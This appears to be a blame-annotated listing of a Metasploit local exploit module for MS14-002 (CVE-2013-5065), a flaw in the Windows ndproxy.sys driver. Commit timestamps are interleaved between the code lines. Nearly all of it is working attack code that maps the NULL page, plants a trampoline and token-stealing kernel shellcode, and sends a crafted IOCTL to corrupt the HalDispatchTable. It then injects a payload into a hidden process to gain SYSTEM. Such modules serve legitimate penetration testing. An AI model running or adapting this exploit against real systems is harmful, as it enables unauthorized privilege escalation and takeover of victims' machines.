2013-12-11 14:52:35 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2014-08-04 18:28:00 +00:00
require 'msf/core/exploit/local/windows_kernel'
2013-12-11 14:52:35 +00:00
require 'rex'
class Metasploit3 < Msf :: Exploit :: Local
Rank = AverageRanking
2014-08-04 18:28:00 +00:00
include Msf :: Exploit :: Local :: WindowsKernel
2013-12-12 14:26:44 +00:00
include Msf :: Post :: File
2013-12-11 14:52:35 +00:00
include Msf :: Post :: Windows :: Priv
include Msf :: Post :: Windows :: Process
def initialize ( info = { } )
super ( update_info ( info , {
2014-03-29 01:56:53 +00:00
'Name' = > 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation' ,
2013-12-11 14:52:35 +00:00
'Description' = > %q{
This module exploits a flaw in the ndproxy . sys driver on Windows XP SP3 and Windows 2003
2013-12-16 20:57:33 +00:00
SP2 systems , exploited in the wild in November , 2013 . The vulnerability exists while
2013-12-11 14:56:31 +00:00
processing an IO Control Code 0x8fff23c8 or 0x8fff23cc , where user provided input is used
2013-12-16 20:57:33 +00:00
to access an array unsafely , and the value is used to perform a call , leading to a NULL
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems . This
2013-12-11 14:56:31 +00:00
module has been tested successfully on Windows XP SP3 and Windows 2003 SP2 . In order to
work the service " Routing and Remote Access " must be running on the target system .
2013-12-11 14:52:35 +00:00
} ,
'License' = > MSF_LICENSE ,
'Author' = >
[
2013-12-17 02:28:49 +00:00
'Unknown' , # Vulnerability discovery
2013-12-11 14:52:35 +00:00
'ryujin' , # python PoC
'Shahin Ramezany' , # C PoC
'juan vazquez' # MSF module
] ,
'Arch' = > ARCH_X86 ,
'Platform' = > 'win' ,
'Payload' = >
{
'Space' = > 4096 ,
'DisableNops' = > true
} ,
'SessionTypes' = > [ 'meterpreter' ] ,
'DefaultOptions' = >
{
'EXITFUNC' = > 'thread' ,
} ,
'Targets' = >
[
[ 'Automatic' , { } ] ,
[ 'Windows XP SP3' ,
{
'HaliQuerySystemInfo' = > 0x16bba , # Stable over Windows XP SP3 updates
'_KPROCESS' = > " \x44 " , # Offset to _KPROCESS from a _ETHREAD struct
'_TOKEN' = > " \xc8 " , # Offset to TOKEN from the _EPROCESS struct
'_UPID' = > " \x84 " , # Offset to UniqueProcessId FROM the _EPROCESS struct
'_APLINKS' = > " \x88 " # Offset to ActiveProcessLinks _EPROCESS struct
}
] ,
[ 'Windows Server 2003 SP2' ,
{
'HaliQuerySystemInfo' = > 0x1fa1e ,
'_KPROCESS' = > " \x38 " ,
'_TOKEN' = > " \xd8 " ,
'_UPID' = > " \x94 " ,
'_APLINKS' = > " \x98 "
}
]
] ,
'References' = >
[
[ 'CVE' , '2013-5065' ] ,
2014-03-29 01:56:53 +00:00
[ 'MSB' , 'MS14-002' ] ,
2013-12-11 14:52:35 +00:00
[ 'OSVDB' , '100368' ] ,
[ 'BID' , '63971' ] ,
[ 'EDB' , '30014' ] ,
[ 'URL' , 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ] ,
[ 'URL' , 'http://technet.microsoft.com/en-us/security/advisory/2914486' ] ,
[ 'URL' , 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ] ,
[ 'URL' , 'http://www.secniu.com/blog/?p=53' ] ,
2013-12-11 22:28:09 +00:00
[ 'URL' , 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ] ,
[ 'URL' , 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ]
2013-12-11 14:52:35 +00:00
] ,
'DisclosureDate' = > 'Nov 27 2013' ,
'DefaultTarget' = > 0
} ) )
end
def ring0_shellcode ( t )
restore_ptrs = " \x31 \xc0 " # xor eax, eax
restore_ptrs << " \xb8 " + [ @addresses [ " HaliQuerySystemInfo " ] ] . pack ( " L " ) # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << " \xa3 " + [ @addresses [ " halDispatchTable " ] + 4 ] . pack ( " L " ) # mov dword ptr [nt!HalDispatchTable+0x4], eax
2014-08-04 18:28:00 +00:00
ring0_shellcode = restore_ptrs + token_stealing_shellcode ( t )
2013-12-11 14:52:35 +00:00
return ring0_shellcode
end
def fill_memory ( proc , address , length , content )
result = session . railgun . ntdll . NtAllocateVirtualMemory ( - 1 , [ address ] . pack ( " L " ) , nil , [ length ] . pack ( " L " ) , " MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN " , " PAGE_EXECUTE_READWRITE " )
2013-12-11 22:28:09 +00:00
unless proc . memory . writable? ( address )
2013-12-11 14:52:35 +00:00
vprint_error ( " Failed to allocate memory " )
return nil
end
2013-12-11 22:28:09 +00:00
vprint_good ( " #{ address } is now writable " )
2013-12-11 14:52:35 +00:00
result = proc . memory . write ( address , content )
if result . nil?
vprint_error ( " Failed to write contents to memory " )
return nil
else
vprint_good ( " Contents successfully written to 0x #{ address . to_s ( 16 ) } " )
end
return address
end
2013-12-12 14:26:44 +00:00
def create_proc
2013-12-19 01:43:59 +00:00
windir = session . sys . config . getenv ( 'windir' )
2013-12-12 14:26:44 +00:00
cmd = " #{ windir } \\ System32 \\ notepad.exe "
# run hidden
2013-12-16 22:19:17 +00:00
begin
proc = session . sys . process . execute ( cmd , nil , { 'Hidden' = > true } )
rescue Rex :: Post :: Meterpreter :: RequestError
# when running from the Adobe Reader sandbox:
# Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
return nil
end
2013-12-12 14:26:44 +00:00
return proc . pid
end
2013-12-11 14:52:35 +00:00
def disclose_addresses ( t )
addresses = { }
2014-08-04 18:28:00 +00:00
hal_dispatch_table = find_haldispatchtable
return nil if hal_dispatch_table . nil?
2013-12-11 14:52:35 +00:00
addresses [ " halDispatchTable " ] = hal_dispatch_table
vprint_good ( " HalDispatchTable found at 0x #{ addresses [ " halDispatchTable " ] . to_s ( 16 ) } " )
vprint_status ( " Getting the hal.dll Base Address... " )
hal_info = find_sys_base ( " hal.dll " )
if hal_info . nil?
vprint_error ( " Failed to disclose hal.dll Base Address " )
return nil
end
hal_base = hal_info [ 0 ]
vprint_good ( " hal.dll Base Address disclosed at 0x #{ hal_base . to_s ( 16 ) } " )
hali_query_system_information = hal_base + t [ 'HaliQuerySystemInfo' ]
addresses [ " HaliQuerySystemInfo " ] = hali_query_system_information
vprint_good ( " HaliQuerySystemInfo Address disclosed at 0x #{ addresses [ " HaliQuerySystemInfo " ] . to_s ( 16 ) } " )
return addresses
end
def check
if sysinfo [ " Architecture " ] =~ / wow64 /i or sysinfo [ " Architecture " ] =~ / x64 /
return Exploit :: CheckCode :: Detected
end
2014-08-04 18:28:00 +00:00
handle = open_device ( " \\ \\ . \\ NDProxy " , 0x0 , 0x0 , 0x3 )
2013-12-11 14:52:35 +00:00
if handle . nil?
2013-12-12 04:08:36 +00:00
return Exploit :: CheckCode :: Safe
2013-12-11 14:52:35 +00:00
end
session . railgun . kernel32 . CloseHandle ( handle )
2013-12-12 13:39:19 +00:00
os = sysinfo [ " OS " ]
case os
when / windows xp.*service pack 3 /i
return Exploit :: CheckCode :: Appears
when / [2003|.net server].*service pack 2 /i
return Exploit :: CheckCode :: Appears
when / windows xp /i
return Exploit :: CheckCode :: Detected
when / [2003|.net server] /i
return Exploit :: CheckCode :: Detected
else
return Exploit :: CheckCode :: Safe
end
2013-12-11 14:52:35 +00:00
end
def exploit
if sysinfo [ " Architecture " ] =~ / wow64 /i
fail_with ( Failure :: NoTarget , " Running against WOW64 is not supported " )
elsif sysinfo [ " Architecture " ] =~ / x64 /
fail_with ( Failure :: NoTarget , " Running against 64-bit systems is not supported " )
end
my_target = nil
if target . name =~ / Automatic /
print_status ( " Detecting the target system... " )
os = sysinfo [ " OS " ]
2013-12-12 13:39:19 +00:00
if os =~ / windows xp.*service pack 3 /i
2013-12-11 14:52:35 +00:00
my_target = targets [ 1 ]
print_status ( " Running against #{ my_target . name } " )
elsif ( ( os =~ / 2003 / ) and ( os =~ / service pack 2 /i ) )
my_target = targets [ 2 ]
print_status ( " Running against #{ my_target . name } " )
elsif ( ( os =~ / \ .net server /i ) and ( os =~ / service pack 2 /i ) )
my_target = targets [ 2 ]
print_status ( " Running against #{ my_target . name } " )
end
else
my_target = target
end
if my_target . nil?
fail_with ( Failure :: NoTarget , " Remote system not detected as target, select the target manually " )
end
print_status ( " Checking device... " )
2014-08-04 18:28:00 +00:00
handle = open_device ( " \\ \\ . \\ NDProxy " , 0x0 , 0x0 , 0x3 )
2013-12-11 14:52:35 +00:00
if handle . nil?
fail_with ( Failure :: NoTarget , " \\ \\ . \\ NDProxy device not found " )
else
print_good ( " \\ \\ . \\ NDProxy found! " )
end
print_status ( " Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses... " )
@addresses = disclose_addresses ( my_target )
if @addresses . nil?
session . railgun . kernel32 . CloseHandle ( handle )
fail_with ( Failure :: Unknown , " Filed to disclose necessary addresses for exploitation. Aborting. " )
else
print_good ( " Addresses successfully disclosed. " )
end
print_status ( " Storing the kernel stager on memory... " )
this_proc = session . sys . process . open
kernel_shell = ring0_shellcode ( my_target )
kernel_shell_address = 0x1000
result = fill_memory ( this_proc , kernel_shell_address , kernel_shell . length , kernel_shell )
if result . nil?
session . railgun . kernel32 . CloseHandle ( handle )
fail_with ( Failure :: Unknown , " Error while storing the kernel stager shellcode on memory " )
else
print_good ( " Kernel stager successfully stored at 0x #{ kernel_shell_address . to_s ( 16 ) } " )
end
print_status ( " Storing the trampoline to the kernel stager on memory... " )
trampoline = " \x90 " * 0x38 # nops
trampoline << " \x68 " # push opcode
trampoline << [ 0x1000 ] . pack ( " V " ) # address to push
trampoline << " \xc3 " # ret
trampoline_addr = 0x1
result = fill_memory ( this_proc , trampoline_addr , trampoline . length , trampoline )
if result . nil?
session . railgun . kernel32 . CloseHandle ( handle )
fail_with ( Failure :: Unknown , " Error while storing trampoline on memory " )
else
print_good ( " Trampoline successfully stored at 0x #{ trampoline_addr . to_s ( 16 ) } " )
end
print_status ( " Storing the IO Control buffer on memory... " )
buffer = " \x00 " * 1024
buffer [ 20 , 4 ] = [ 0x7030125 ] . pack ( " V " ) # In order to trigger the vulnerable call
buffer [ 28 , 4 ] = [ 0x34 ] . pack ( " V " ) # In order to trigger the vulnerable call
buffer_addr = 0x0d0d0000
result = fill_memory ( this_proc , buffer_addr , buffer . length , buffer )
if result . nil?
session . railgun . kernel32 . CloseHandle ( handle )
fail_with ( Failure :: Unknown , " Error while storing the IO Control buffer on memory " )
else
print_good ( " IO Control buffer successfully stored at 0x #{ buffer_addr . to_s ( 16 ) } " )
end
print_status ( " Triggering the vulnerability, corrupting the HalDispatchTable... " )
magic_ioctl = 0x8fff23c8
# Values taken from the exploit in the wild, see references
ioctl = session . railgun . ntdll . NtDeviceIoControlFile ( handle , 0 , 0 , 0 , 4 , magic_ioctl , buffer_addr , buffer . length , buffer_addr , 0x80 )
session . railgun . kernel32 . CloseHandle ( handle )
print_status ( " Executing the Kernel Stager throw NtQueryIntervalProfile()... " )
result = session . railgun . ntdll . NtQueryIntervalProfile ( 1337 , 4 )
print_status ( " Checking privileges after exploitation... " )
2013-12-11 22:28:09 +00:00
unless is_system?
2013-12-11 14:52:35 +00:00
fail_with ( Failure :: Unknown , " The exploitation wasn't successful " )
end
2013-12-16 22:19:17 +00:00
p = payload . encoded
2013-12-12 14:26:44 +00:00
print_good ( " Exploitation successful! Creating a new process and launching payload... " )
new_pid = create_proc
2013-12-16 22:19:17 +00:00
if new_pid . nil?
print_warning ( " Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process... " )
2013-12-16 22:49:44 +00:00
return
2013-12-16 22:19:17 +00:00
end
2013-12-12 14:26:44 +00:00
print_status ( " Injecting #{ p . length . to_s } bytes into #{ new_pid } memory and executing it... " )
2013-12-16 22:49:44 +00:00
if execute_shellcode ( p , nil , new_pid )
2013-12-11 14:52:35 +00:00
print_good ( " Enjoy " )
else
fail_with ( Failure :: Unknown , " Error while executing the payload " )
end
end
end